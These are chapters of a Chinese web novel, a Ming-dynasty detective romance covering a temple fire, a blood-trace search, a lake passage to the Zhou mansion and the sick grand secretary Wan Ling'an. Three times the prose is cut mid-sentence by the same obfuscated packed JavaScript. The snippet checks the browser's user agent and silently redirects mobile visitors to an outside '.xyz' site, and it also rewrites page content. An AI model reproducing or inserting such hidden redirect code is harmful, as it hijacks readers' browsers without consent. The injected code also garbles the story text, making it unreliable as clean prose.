“你……”小旗这才明白景暄和是在讽刺他,他恶狠狠地说:“你给我等着,本少爷给你当下属,真是你几辈子修来的福气,等这案子了了,看我怎么收拾你。” “悉听尊便。”景暄和不怒反笑,也不知这小旗哪来这么大的火气,怪不得额头上长痘痘,原来是气生多了,上火所致。 不多时,小和尚回来了,对他们说道:“师傅正在闭关,不好见客,让我通报一声,因为寺院中有三十二间禅房,若你们一间一间地搜,肯定颇费工夫。现在天色也不早了,师傅让我领你们在寺中歇息一晚,明早再进行探查,不知各位施主意下如何?” “也好。”景暄和点头道。 “本少爷才不想住你这寒酸的破地方呢!”小旗打了个哈欠,“要住你们住,我先走一步。” 景暄和蹙眉道:“你要走也可以,但明日还要查案,你若是来迟了……” “我保证,绝对不会来迟。”他说着便大步流星地离开了寺庙。 其他四人似乎对他这嚣张样子见怪不怪了,只是随景暄和一同在寺中住下。 *** 吃了斋饭,众人便回房歇息了。 景暄和与阿呆住在邻间,阿呆似乎很累,不多时就从他的房中传来呼噜声,景暄和却辗转反侧,怎么也睡不着,她披了一件外衣,只觉得房中有些闷,便推开窗户透气。 不知从哪传来一阵奇香,是烧烤的香味,景暄和不禁想起自己以前做的叫花鸡,那叫一个外酥里嫩,唇齿留香,大家吃了都赞不绝口。这样一想,肚子便有些饿了,说实话,晚上吃的白菜豆腐不光淡而无味,甚至根本没填饱肚子。 脚步不禁循着香味走去,寺里有一片大湖,湖边点着莹莹星星的灯火,穿过一座座庙宇,看着里面的佛像,影影幢幢,让人不禁升起畏惧。 景暄和远远地便望见四人架起一个烧烤架烤火,烤架上有一只野鸡,正向外散发着香味。 “你们怎么在这里?”景暄和看着这群熟悉的身影,说道。 四人惊讶地转过身来,正是锦衣卫的四名小旗。 和景暄和一样,他们也没有填饱肚子,所以相约着从寺庙旁的农家买来几只鸡,打打牙祭。 “大人……” 其中一名小旗想说什么,景暄和却摆手道:“无妨。” 她负着手走到他们身旁,就在众小旗以为这大人会责罚他们时,景暄和却说:“能否带我一个?” “当然可以。”众小旗有些受宠若惊,都说官高半级压死人,这位大人不光待人亲和,对他们无半分怠慢之感,还与他们同吃同住,真是难得。 景暄和笑笑,盘腿坐了下来,忽明忽暗的火光衬得她的脸有种清雅之感。 “你们烤鸡的方法不对。”景暄和皱眉道:“还有多余的鸡吗?” 众小旗不解,只是将另一只剥好毛的鸡递给她。 景暄和将一旁的姜葱蒜辣椒等佐料均匀地涂在鸡上面,又加了点调料和酒塞到鸡肚子里面,再用黄泥将鸡包裹起来,埋到地里,在上方点了一团火。 半个时辰后,她将鸡取出来,敲去泥壳后,顿时香气四溢,众小旗眼睛发亮,待品尝过后,皆是赞不绝口,与景暄和的厨艺一比,他们之前烤的那只鸡只能算填饱肚子,难登大雅之堂。 一小旗倒了几碗美酒,三巡酒后,气氛便热络起来。 景暄和得知,这四名小旗分别叫高大虎,张二越,齐三陌和赵四梁,因为他们出身贫苦,连最初的名字都是随意起的,周承恩给他们改了名字,才成现在这样的“一二三四”。 高大虎人如其名,高高壮壮的,胸口纹了一只猛虎,半敞衣襟,露出猛虎的脑袋,他灌了口酒,道:“大人,你这烤鸡的技艺是从何处学来的?怎会如此美味?” “小时候喜欢到处游玩,有时便去酒楼的厨房里偷师,自己再琢磨一二,便成了。”景暄和也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555460|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝了口酒,这酒很烈,一口下去,周身都热乎起来。其实她说了个小谎,这些做法都是刷短视频里博主教的,只是却不能告诉他们这个。 “这高大虎人称千杯不醉,大人可不要想不开和他斗酒啊。”张二越哈哈一笑道。 “好你个张二越,平日里青楼窑子逛够了,倒来挤兑我了。”高大虎笑道:“你那闻香的本事,也不知骗了多少窑姐娘儿们。” “什么闻香?”景暄和有些惊讶,只见张二越生得油头粉面,长眉入鬓。 齐三陌抢先说:“张二越的鼻子极灵,窑姐身上的胭脂香味,他只要闻了一下,便知道是何种胭脂,就因为这项技艺,让窑姐们神魂颠倒呢。” “呸,我是凭我这玉树临风的长相与绝代风华的气质才让姑娘喜欢的。”张二越自恋地摸了摸下颚,说:“要说羡慕,你的眼睛和耳朵还让我羡慕不已呢。” 原来,齐三陌虽然身形干瘪,可是眼睛和耳朵极好,十里外的东西都能看得一清二楚,极远外的声音都能听清。 三人谈谈笑笑间,只有赵四梁冷着一张脸,没有说话。 “喂,老四,你好歹也和大人介绍一下自己啊。”张二越推推他的胳膊肘,道。 赵四梁只是摇了摇头,自顾自地吃起鸡来,他长了一张方脸,不苟言笑。 “别理他,老四不喜欢说话,可是他以前的名声,可是不小。” 景暄和竖起耳朵听,张二越笑道:“老四以前可是梁上君子,他偷过的财宝,比你我见过的都多,后来被周大人招入锦衣卫,才开始了清白营生。” “老二!” 齐三陌朝张二越使了个眼色,示意他不要说了,张二越却饮下一口酒,道:“怕什么?这位大人是自己人。” “对,自己人。”高大虎也表示赞同,他伸出拳头,道:“哪像那个周思逑,平日里趾高气昂,看谁都不顺眼,要不他是周指挥使的弟弟,我这一拳出去就叫他眼冒金星!” 景暄和:“你说那少年是周大人的亲弟弟?” 怪不得他的态度如此轻慢,即使他如何无礼,周承恩也只是出言阻挠,并未惩戒,原来是有这一层亲戚关系的缘故。 “我还以为大人您知道呢,否则怎会任由他乱来?”张二越说道。 景暄和:“听你们说我才知道的。” 高大虎:“这周思逑原本是个纨绔公子,天天不务正业,寻花问柳,周家老爷临终前的遗言就是希望周指挥使能为周思逑谋得一份正经差事,也好过他虚度年华,荒废了青春。” 张二越:“是啊,这周思逑好吃懒做,周家对这位少爷又百般纵容,所以他到现在还是个从七品的小旗,恐怕一辈子也就这样混了。” “倒是个令人头疼的家伙。”景暄和揉了揉太阳穴,说:“我担心的是,建宁寺在顺天府的郊外,这少爷明天八成是要迟到了,到时候耽误公务,可就不好了。” “那倒不会。”张二越道:“周府宅邸就在建宁寺附近,不过三里路程,周指挥使平日里吃住都在北镇抚司,只有不当值才会回这老宅,料想周思逑一定是回家去了。” “原来如此。” 景暄和与四人又谈笑了许久,酒足饭饱后,才回去歇息。 这一觉睡得极浅,景暄和只觉得做了好多梦,梦里都是些往日的景象,一会儿梦到自己的记忆,一会儿又梦到于歌笛的记忆。 突然,她觉得外面有些嘈杂,伴随着走马声和小厮呼喊的声音,还以为自己是在做梦,便又睡去了。 房门被一脚踹开,景暄和猛然惊醒,只见阿呆衣衫不整地奔到她的床前,握住她的手腕说:“老大,快跑,禅房着火了!” 11. 烈火迷雾(2) 景暄和随阿呆一同逃出禅房,火势已经蔓延开来,若不是阿呆即时出现,恐怕再晚片刻,就逃不出来了。 熊熊的火焰将黑夜了烧出一个洞,似有冲天之势,三十二间禅房湮没在烈火中,只听见劈啪作响的声音,鼻尖传来烧焦的气味。 万幸的是,没有人员伤亡,锦衣卫的兄弟们听到声响,也逃出来了,他们睡眼惺忪,皆着中衣,高大虎连上衣都来不及穿,赤着脚跑出来了。 和尚们提水灭火,锦衣卫的兄弟也上前帮忙,还好寺庙的湖泊与禅房的距离不算太远,一来二去,火势渐渐被控制住,在天边冒出象牙白的时候,大火终于被熄灭了。 晨光熹微中,远方传来一声鸡鸣,天空仿佛一寸寸地亮了起来,景暄和坐在断壁残垣旁,有些失神。 怎么会这样?此事也太过蹊跷了。 今日他们便要搜查禅房,偏偏在这个时候,禅房失火了,难道天下真有这种巧合? 景暄和不相信,直觉告诉她,一定是凶手为了销毁证据,再次潜入建宁寺的。 也就是说,禅房中一定有关键的证据,是凶手带不走的,凶手为了销毁证据,不惜铤而走险。 那么,到底是什么呢? …… 辰时三刻,周思逑准时回到了寺庙中,他昨晚睡了一个好觉,还吃了一顿美食,心情大好,可是看到众人愁眉苦脸的样子,不觉奇怪道:“发生什么事了?” 阿呆没有回他,只是往废墟一指。 “怎么烧成这样了?”周思逑眼珠都要被惊掉了,却见景暄和负着手站在废墟旁,晨光给她度上了一层淡淡的光辉,一时静谧如画。 “小子,看来你与这寺庙真是八字不合啊,怎么你一来,寺庙就失火了呢?” 周思逑还要挑衅,却见景暄和扬了扬下颚,道:“可以开始了。” “开始什么?”周思逑丈二和尚摸不着头脑。 景暄和冷静道:“凶手就是为了扰乱我们查案,可我偏偏就不让他如愿,阿呆,酽醋和酒准备好了吗?” “在这里呢。”阿呆一早就让寺里的杂工从寺外的农家买来几缸浓醋和浓酒,放在废墟边。 “高大虎,你负责前面五间禅房,王二越,你负责下面五间……” 景暄和依次给他们分派了任务,要他们将醋与酒混合,泼洒在禅房废墟的地面上,众人不解,景暄和说道:“酽醋与酒混合能够检验血迹,若被害人在禅房中被杀死,则酽醋泼过后有血入地,呈鲜红色。” 众人这才恍然大悟,只觉得这位大人真是博学多才,即使禅房走水,用这种方式,也能锁定第一案发现场。 说干就干,他们用小木桶装着醋与酒的混合液,来到自己负责的房间前,开始作业。 半个时辰后,齐三陌大声道:“大人,这里有血迹!” 正是第十八间禅房。 景暄和赶忙进入禅房,这房间已经被烧得七七八八,面目全非,只见酒醋泼过后,靠床的地面上显现出一大片血迹。 “就是这里了。”景暄和从容道:“众人听令,务必将这房间里里外外搜查清楚,不要放过一个细节。” “是!” 遗憾的是,众人搜查一圈,并未发现什么有价值的线索。 中午休息的时候,周思逑叼了根狗尾巴草,懒懒道:“我看,简直就是竹篮打水一场空,锁定了案发现场,却是白费功夫。” 景暄和正在吃一片馍馍,她皱着眉,也在思索,却见张二越凑到她跟前,道:“大人,小人有发现。” “哦?在哪里?”景暄和正苦于没有线索,听张二越一说,不觉眼睛一亮。 张二越指指自己的鼻子,道:“小人别的不行,就有一只灵敏的鼻子,刚才在禅房搜寻时,小人闻到了一阵香味,虽然很淡,却十分特别。” “那你可知,这是什么香味?” “怪就怪在这里,对于中原的胭脂或熏香,小人一闻便知,可以说是倒背如流,可这香味却很奇怪,小人从未闻过,想来并非中土所有。” “难道来自异国?” “小人回去查查,过几日再向大人禀报。”张二越施礼道。 景暄和朝他点了点头,却见周思逑站起身,拍了拍灰尘,说:“小子,既然禅房已经搜寻完毕了,料想下午也没事做了,本少爷便先行回府了。” “站住!”景暄和说:“下午还有任务,你怎能现在就走?” “什么任务?” “若一条路走不通,便要去尝试另外啊一条,怎能中途放弃呢?”景暄和将馍馍放在一边,起身道:“现下就有另一个问题,凶手在禅房行凶后,是如何将尸体运出去的呢?众所周知,三具尸体被发现在三个不同的地方,凶手一定用了某种方式转移尸体。” 周思逑道:“这还用想?不就是将尸体放在马车里,运出寺庙的吗?” 景暄和摇头道:“从小和尚那里我了解到,四月初四是文殊菩萨的诞生日,皇上信佛,那日会驾临建宁寺,所以这些天进出车辆一律经过严格检查,凶手想要把尸体从大门运走,十分困难。” 阿呆说:“那会不会通过翻墙或者钻洞呢?建宁寺修建多年,有些围墙已经十分破旧了。” “有可能,这也正是我所想的。”景暄和的目光扫了一眼众小旗,道:“你们下午的任务,便是仔细搜寻围墙周围,看有没有可疑的脚印。” …… 令人失望的是,众人沿着围墙搜寻了半天,还是未发现一点痕迹。 阿呆抹了把汗,道:“老大,会不会凶手是寺里的和尚或杂工呢?他们的马车进出寺庙,也许没有经过严格的检查,特别是厨房的杂工,杀了人后,将尸体藏在木柴或者蔬菜中,偷偷运出寺庙,便神不知鬼不觉了。” “不,寺里人员简单,并且出身平常,决计得不到寒铁所制的针,况且建宁寺的厨房边有一大片菜田,和尚与杂工都是自给自足,很少去集市买菜,所以他们的嫌疑,可以排除。” “这就奇怪了,”阿呆挠了挠脑袋,“难道凶手有隐形之术,能够隔空将尸体运出?” 景暄和沉吟了一下,吩咐众小旗,道:“大家先休息一下,稍安勿躁。” 她思索案子的时候喜欢踱步,不知不觉便来到了湖边。 正值三月,寺中盛开了大片的樱花,微风拂过,仿佛下了一场花雨,有花瓣落入湖面,在阳光下掠过光影,如惊鸿划过。 湖边有嶙峋的假山,景暄和原本想在湖边找个石凳坐下,却意外地发现了一串脚印,这脚印来来回回,似乎反反复复过数次,这些脚印虽然大小相同,深浅却不一。 景暄和不由得蹲下身子,开始研究这串脚印,又拿出随身带的皮尺,开始丈量起来。 “呦,一个人躲在湖边偷懒呢。” 身后响起一声轻蔑的笑。 景暄和转头,只见周思逑站在自己身后,似笑非笑,他的靴子踩到了这串脚印上,景暄和冷冷道:“请把你的脚移开”。 “如果我非不移呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555461|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周思逑向她做了个鬼脸,道:“老子天不怕地不怕,还怕你这个小子给我甩脸色吗?” 景暄和有些无语,自己到底怎么得罪他了,为什么他总与自己为难? 这样眼高手低、粗鲁无礼的人,如果是她弟弟,她非得给他一顿好打。 “周少爷,你我无冤无仇,想必你也不高兴见我,何不离我远远的,眼不见为净?” 周思逑道:“老子就是讨厌你,就是故意与你为难,你又敢把我如何?” 景暄和叹了口气,走近他,说:“你想听我一句实话吗?” “什么话?” “我有病。” “……”周思逑错愕道:“什么意思?” “我有病,已经病了很久了,如果你离我太近,我的病就会传染给你,就像这样……”景暄和重重地对着周思逑咳嗽了两声,周思逑赶忙捂住鼻子道:“此话当真?” “当然,所以周少爷以后还是少与在下讲话为妙,说不定这两天,我的病已经传染给你了。” 周思逑脸色大变,额头冒出了汗,一时站也不是,坐也不是。 景暄和盯着他的眸子,忽然笑了,她淡淡道:“骗你的。” “你……” “看来周少爷也讨厌被人玩弄啊,己所不欲,勿施于人的道理,希望周少爷能明白。” “可恶!”周思逑有些恼怒道:“你算老几?锦衣卫中都传开了,你和内阁首辅万灵安大人关系不清不楚,还有人说,你是万灵安养的禁脔,否则万大人又怎么会向哥哥推荐你?” “胡说八道!”景暄和纵容性情平和,听到这话也有些恼了,“嘴巴放干净点,小心我将你嘴巴缝起来,让你再也不能乱说。” “自己行的正坐得直,还怕别人乱说?”周思逑邪恶一笑,道:“有次你在万府待了一下午,对吧?若只是普通的关系,又怎会待那么久?就怕有些人呐,被人当马骑,还沾沾自喜。” “你心思怎么这样龌龊?”景暄和瞪着他,强迫自己冷静下来,将头撇向一边,道:“也罢,夏蝉不可语冰。” “怎么,心虚了?”周思逑一把抓住她的衣领,道:“我就说你有问题。” “把你的手拿开。” “就不。” “我再说一遍,把你的手拿开。” “就不!”周思逑颇有些得寸进尺。 景暄和一脚踩上他的靴子,手臂便绕到了周思逑的背部,他疼得叫了一声,景暄和一用力,抓住他的后颈,就掌握了主导权。 周思逑向后踢来,景暄和左膝一挡,双手猛地一推,转瞬间,周思逑便摔了个狗啃屎。 景暄和拍了拍手掌,还不忘气一下周思逑:“我就是与万大人关系亲密,又关你何事?实话跟你说,我早就对万大人仰慕至极,万大人就是我的靠山!像万大人那般光华璀璨的人物,哪容得你这般满嘴喷粪的小人污蔑!” 周思逑气得捶地,挣扎着爬起来,景暄和看他狼狈的样子,不由得心情大好,只觉得着实解气。 “是么?” 身后突然传来一声浅笑,像夏夜的柔和的微风伴着栀子的香气。 景暄和蓦地瞪大眼睛,不好意思地转过头去。 万灵安正站在她的身后,狭长的眸子恍若寒星。他一身紫衣轻袍,倾城之姿,自有一种冷漠飘逸的气度。 景暄和被吓了一跳,脚步不由得后退,这一退不打紧,竟忘了后面是湖! 一个不注意,“噗通”一声,摔入了湖中。 12. 烈火迷雾(3) 景暄和不会凫水,只觉得身子正直直地沉入水底。 她想大声呼救,却被湖水包围,眼睛像灌了铅一般重。这时,另一人跳入了水中,朝她游来,景暄和看不清那人的面容,只见那人缓缓向她游近,矫若游龙,仔细一瞧,竟是万灵安! 他抓住她的手腕,带着她向上游去,终于在临近水面的时候,将她托了上来。 景暄和挂在他的身上,鼻尖闻到了淡淡的月麟香的味道。 这香初闻极淡,再闻却让人目眩神迷。 景暄和抓住他的肩膀,只觉得他的下颚抵住了自己的额头。 那是一种奇异的感觉,景暄和并非没有与男人近距离接触过,在衙门办案时,有时顾不得规矩,甚至与大家同吃同住也未有多想,只觉得男人都是臭烘烘的难登大雅之堂。可是万灵安却不同,他身上有种贵公子的气质,明明对你冷眼相对,却让人不由自主地想匍匐在他脚下,听从他的号令。 景暄和觉得,这是危险的信号。而这些年她一贯的做法便是,遇到危险要躲远些。 这时,又有几人闻讯赶来,也跳入了湖中。 景暄和见有人搭救,便下意识地推开了万灵安,转而搭上了别人。万灵安一愣,只觉得怀中空落落的,不过他一向是喜怒不形于色,脸上也看不出有什么特别。 二人就这样被拉了上来。 “老大,你还好吧?”阿呆赶忙将外衣脱下,给她披上。 万灵安也被随从盖上了披风,随从递给他一方白帕,帕角绣着一朵墨兰,他却将帕子递给景暄和。景暄和一抬头,只觉得他的眸子被水洗过,愈加耀然生辉,她自知理亏,微微低头,准备接过帕子,可是万灵安却没有松手。 “景大人,有时真不知道你哪句话是真的,哪句话是假的。” 景暄和知道他在揶揄自己,便四两拨千斤道:“小人不名一钱,怎敢劳烦万大人这般高贵的人物来搭救?小人只觉得不敢连累大人,慌了神,才松开了大人的手。” 万灵安气息不稳,咳嗽了一声。 他松开了手,景暄和低头望着那帕子,只觉得气氛怪怪的。 为了缓和尴尬,她伸手想扶万灵安站起来,可是万灵安却没有理她,只是在护卫的搀扶下站了起来。 景暄和便不去管了,余光望向了那一大片湖水。湖水澄澈,波光粼粼,阳光洒下,像落上了一层碎金。 突然灵光一闪,对锦衣卫众小旗说:“你们中有谁会凫水吗?” 高大虎和赵四梁站了出来。 “能否帮我一个忙?” “大人请说。” “顺着这湖再向前游几里,也许会有新的发现。”景暄和的眼睛明亮,头发滴着湿漉漉的水珠,神采飞扬,像是想通了什么了不得的东西。 高大虎与赵四梁领命下水,二人水性极好,一下便游到了远方。 万灵安则是缓缓转身,准备离开。 “万大人,”景暄和叫住了他,“我有话对您说。” 她一步一步地走近了他,万灵安盯着她的眸子,只觉得乌黑明亮,像一颗发光的黑珍珠。 她的唇畔嵌着一抹笑,有种洒脱的感觉。 就在万灵安思索景暄和会说什么的时候,景暄和真诚地、一字一句地说:“下次我一定要学会凫水。” 万灵安:“……” *** 三刻后,高大虎和赵四梁浮出了水面。 “大人,有重大发现!”高大虎急不可耐道。 景暄和眼眸含笑:“快快说来。” “这湖竟与外面相连,打死我也没有想到,与之相连的竟然是周府的湖!刚才我与老四浮出水面后,还被周府的丫鬟当做登徒子,吓了她们一大跳呢!” “与我家相连?”周思逑惊讶地合不拢嘴。 “是。”赵四梁终于开口,肯定地说。 “这么说来,一切就说得通了。”景暄和拊掌而笑,道:“凶手杀人夺心后,将尸体与自己绑在一起,顺着这湖游到了周府,再从周府将尸体运出去,怪不得那死者的衣服有潮气,还有被绳子勒过的痕迹。” “那这些脚印?” “这脚印便是凶手留下的,怪不得脚印深浅不一啊!凶手准备犯案时,是一人从湖中出来,是故出湖的脚印轻;而作案后,凶手背着死者,所以入湖的脚印重。” 她的声音清朗,分析案情时眼中带着自信的从容。听她说话时,众人皆没有移开眸子,她就是全场的焦点。 *** 第二日,景暄和在北镇抚司整理文献时,阿呆却敲了敲门,问:“老大,在吗?” “进来吧。” 景暄和将手上的宣纸放下,却见阿呆神态有些紧张地说:“刚才万府的小厮过来通报,说万大人病了。” “病了?”景暄和疑惑道:“病得重吗?” “想来是很重的,万大人要你现在过去。” “我又不是大夫,过去有什么用?”景暄和心想,同是落了水,万灵安便病了,她却像没事人一般,也许这些生长于温室的公子哥就是娇贵,与寻常人家是不能比的。 “老大,听说万大人体弱,他八年前生了一场大病,差点快死了,从那时起,就尤为怕冷,甚至一丝的寒气都受不得。” 景暄和道:“竟有此事?” “是啊,当时万大人并不在顺天府,而是在辽东的军营里,那时万府到处张贴告示,遍访名医,才保住了他的性命。” 景暄和皱眉,道:“那他现在怎会做一文官呢?” “那场病过后,万大人也不知受了什么刺激,弃武从文,在第二年的科举中夺得头魁,入仕后,才一步步到达现在的高度。” 八年前…… 正是于景涟大人出事的时候。 景暄和不好细想,只是整了整衣服,“先不多说了,那小厮呢?我与他去便是了。” *** 万府。 天空淅淅沥沥地下起小雨,景暄和撑了一把竹伞,穿过亭台楼阁,只见大片的海棠花在雨雾中被笼上了一层轻纱,随风摇曳。 小厮在一卧室前停下,说:“首辅大人就在里面,景大人进去吧。” 景暄和点点头,深吸一口气,进入了房间。 房内点着熏香,并未有过多摆设,只见中央点着暖盆,墙上挂着一幅山水画,木窗大开,窗外雨丝斜斜,伴随着清淡的花香。 万灵安侧卧在塌上,身上搭着一层白狐皮毛毯,闭着眼睛,听她来了,便慢慢睁开眼睛。 景暄和只觉得他眼中闪过一丝邪气,就是这丝邪气,让人不能亲近他,也是这邪气,让他有一种独特的魅力。 景暄和轻轻将门合上,施礼道:“见过万大人。” “过来。”万灵安淡淡道。 景暄和走近了两步。 “再过来点,”万灵安说:“我很冷。” 景暄和只好再走近三步,她与万灵安不过半尺距离,甚至能够听到他的呼吸声。 “万大人若觉得冷,为何不关上窗户?”景暄和见房间两扇窗户皆是大开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555462|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不由得问道。 “我在听雨。”万灵安只是说。 景暄和道:“万大人竟有如此雅兴,真是与我等凡夫俗子不同。” 也许是因为生病,万灵安的面色有些苍白,如果谁问景暄和万灵安现在像什么,她一定会毫不犹豫地说,他就像一只快死的妖孽。 景暄和知道自己不该这样诅咒他,可是祸害遗千年,像万灵安这般狡诈的人物,也不怕别人诅咒吧。 余光突然见到万灵安的床榻边放着一个请帖,那请帖金底银字,是周府邢老太君八十大寿的请柬。 邢老太君是周承恩的奶奶,在顺天府的老一辈中名望颇深。 此时,景暄和正愁如何进入周府探查情况,虽然种种线索指向周承恩的府邸,可周承恩毕竟是锦衣卫指挥使,也是她的顶头上司。 明面上,景暄和自然不能带人到周府搜查,可若是借老太君八十大寿的契机,她或许能去周府探查一番。 “万大人,小人有一不情之请,不知当讲不当讲。” “既然不好讲,那便不讲吧。”万灵安淡淡道。 景暄和:“……” 万灵安看她错愕的表情,坐起身来,道:“算了,你还是说吧。” “小人还是不说了。”景暄和知道万灵安在逗她,便索性卖个关子。 “你不说我也知道。”万灵安靠在枕头上,咳嗽了一声,“是想让我带你去邢老太君的八十大寿吧。” “大人真是冰雪聪明,小人一点小心思都瞒不过大人。”景暄和展颜道。 “只是……”万灵安的眼中闪过一抹不明的情绪。 “只是什么?”景暄和不解。 万灵安道:“现在外面有些风言风语,都说你我二人……”他顿了顿,“所以,现下我若将你随身带着,倒更加落人口实了,我自然不怕别人嚼舌根子,可是昨天周思逑随便一说,你便有那么大的反应……” 景暄和眼珠一转道:“小人本来就是大人提携的,若不是沾大人的光,小人也没有机会参与到神鸟夺心案中,现今案子第一,小人的名声又有何要紧的?” 万灵安点点头,说:“好。” 窗外的雨愈发大了,打在窗棱上,滴答作响,像一首天然的曲子。 万灵安突然剧烈地咳嗽起来,好像怎么都止不住,景暄和大惊,赶忙将他后背托起。 万灵安软绵绵地靠在了她的肩上,景暄和搂住他的腰,防止他瘫下去。 “庄炎,庄阳!”景暄和开口唤万灵安的侍卫。 二人听到呼唤便立即进了门,见到这幅景象,都大惊失色。一人出门去叫大夫,另一人帮景暄和将万灵安平躺在塌上。 景暄和本打算起身,膝盖却有些发麻,只好先坐在万灵安的塌边。 不多时,一位头发花白的大夫进门了,他相貌古板严肃,捋了捋胡子,皱眉道:“不是说了首辅养病时要关好门窗吗?若他出了任何闪失,你们担待得起吗?” 景暄和注意到,这大夫的左腿有些瘸,走路很不方便,可他目光精湛,让人不可小觑。 庄大夫是庄炎和庄阳的父亲,也是万府的老人了,从万灵安刚回顺天府时就侍候在侧,见庄炎和庄阳都缄默不语,景暄和起身,道:“万大人说,他喜欢听雨,所以才开窗的。” 庄大夫的目光往她的方向望去,景暄和直直地对上他审视的目光。 两人目光相接的一刹那,景暄和的眼中闪过一抹异色。 在原主的记忆中,这个人,她好像在哪里见过的。 13. 昔日故人 庄大夫让丫鬟拿出冰袋敷在万灵安的额头上,又脱去他的上衣,开始针灸。 景暄和见万灵安冰肌玉骨之上,隐约泛着青色,还有一些刀枪剑戟的伤痕,想来是早年在辽东军营戎马倥偬,留下的印记。 庄大夫让小厮准备一个木桶,又写了张药方,让小厮去抓药。 景暄和觉得自己应该回避一下,便施礼道:“既然万大人要进行药浴,小人便先告退了。” “少年郎,能否在后院等我一下?”庄大夫将银针收好,放在一边,缓缓道。 “当然可以。”景暄和虽然心头疑惑,却也依言在后院等他。 后院种了些不知名的绿草,垂下碧绿的丝绦,一痕流水从丝绦下滑过,流水边放了几块剔透的小石,显得古朴雅致。 景暄和越想越不对劲,只觉得庄大夫看她的眼神也像见到故人一般。 半个时辰后,房门被推开,侍候的小厮们从房中鱼贯而出,庄大夫在最后走出。 “少年郎,万大人需要休息,在这里不便多说,可否与我到兰院的药房一叙?” 景暄和点点头,将信将疑地跟他过去了。 穿过几道回廊,便来到了兰院,此处有一个宽阔的药房,房边布满了翠绿的爬山虎。 景暄和随庄大夫进入药房,鼻尖瞬时便弥漫着各种药材的味道。 庄大夫的肩部颤抖,一点一点地转过身,景暄和见他眼中含着热泪,不觉十分惊讶。 “庄大夫,您这是……” “真儿,庄伯伯找你找得好苦啊!”庄大夫掩面道。 “真儿”是于歌笛的小字。 原主早年性情耿直,见不得谁说假话,所以人送外号“千真小姐”,于景涟便也“真儿、真儿”地唤她,只是外人却不知道这小字,也只有他最亲密的几位好友才知晓。对此,景暄和很有些诧异。 “你是于兄的女儿吧,这些年,庄伯伯每年都要外出游历半年,就是为了找到于兄的骨肉,谁知道上天有眼,终于让我找到了呢!” 原来,这位庄大夫就是于景涟昔日的同窗好友庄志兴。 二人本是同乡,从小一起长大,皆参加了湖广道的乡试来到顺天府做官。 于景涟官至左都御史,庄志兴官至鸿胪寺左少卿,在于景涟被诬下狱后,庄志兴也为他多方奔走,谁知圣上下了死命,若谁敢为于景涟说话,便按罪同处。 庄志兴见不得好友被诬,便携数十位大臣,跪在午门外,为好友鸣冤,谁知竟被阉党当众打了三十大板,断了他的左腿,不光没有救出好友,自己也落得终身残疾。 元朝以前,汉人治国,秉行“士可杀不可辱”的传统观念,即使宋时从最初的“坐而论道”变成“站立听政”,皇帝对朝臣也没有非礼的行为。蒙古人却不管那么多,政府中的臣僚犯错挨打是司空见惯,明太祖建朝之后,却把蒙古人的廷仗制度沿袭了下来,光正德年间便廷仗了一百四十六人,死者十一人,从最初的“士可杀不可辱”变成了如今的“士可杀亦可辱”。 在于景涟被残害致死后,庄志兴彻底对官场灰心了,他愤然辞官,只求能够找到好友的遗孤。 “庄伯伯,您是怎么认出真儿的呢?” 景暄和心中唏嘘不已,她将帕子递给他,庄志兴拭了下泪,道:“你手上的这枚骨戒指,是你爹传给你的吧。” 景暄和穿越过来手上就有这枚戒指了,她也一直没有摘下,便点点头。 庄志兴不无感慨地说:“你爹为人刚正不阿,豪迈旷达,就像这枚戒指,外表无甚装饰,内心却古道热肠,看到这戒指,我便想起了你爹,只可惜……” 他没有再说下去,只是老泪纵横。 一别八年,天上人间。 有人解脱,有人还深陷煎熬。 “你爹年少时,最喜欢苏东坡的一首《江城子》,对其中那句‘会挽雕弓如满月,西北望,射天狼’更是尤为赞赏,都说人生得一知己足矣,我庄志兴能交到你爹这个朋友,便一辈子值了。” 景暄和:“那庄伯伯为何会到万府为医呢?” “我辞官后,妻子也病逝了,独自带着两个儿子,生活十分拮据。正值万府招大夫,我对医术又颇为精通,便来到了万府,儿子也成了万大人的贴身侍卫。” 景暄和:“万大人的身体似乎一向都不好?” “万大人体内有寒毒啊,”庄志兴缓缓道:“当时情况十分紧急,他只有出的气,没有进的气,一云游的道人给了他一粒丹药吃,他才逐渐恢复过来,只是体内的寒毒却没有除尽,落下这怕冷的毛病,后来我来万府,也只是每月帮他开些调理的方子,却没有办法将这毒根治。” 景暄和不由得问道:“听说那时万大人在辽东抗敌,为何突然便得如此的重病呢?” “只听说是为了求他父亲一件事,可是他父亲不答应,他便在父亲的营帐前跪了三天三夜,那正是辽东最冷的时节,可他父亲还是铁了心地不答应,最后他寒气攻心,才昏死过去。” 景暄和陷入了沉思,到底是什么事,让万灵安这般看重,甚至不惜性命也要达到? 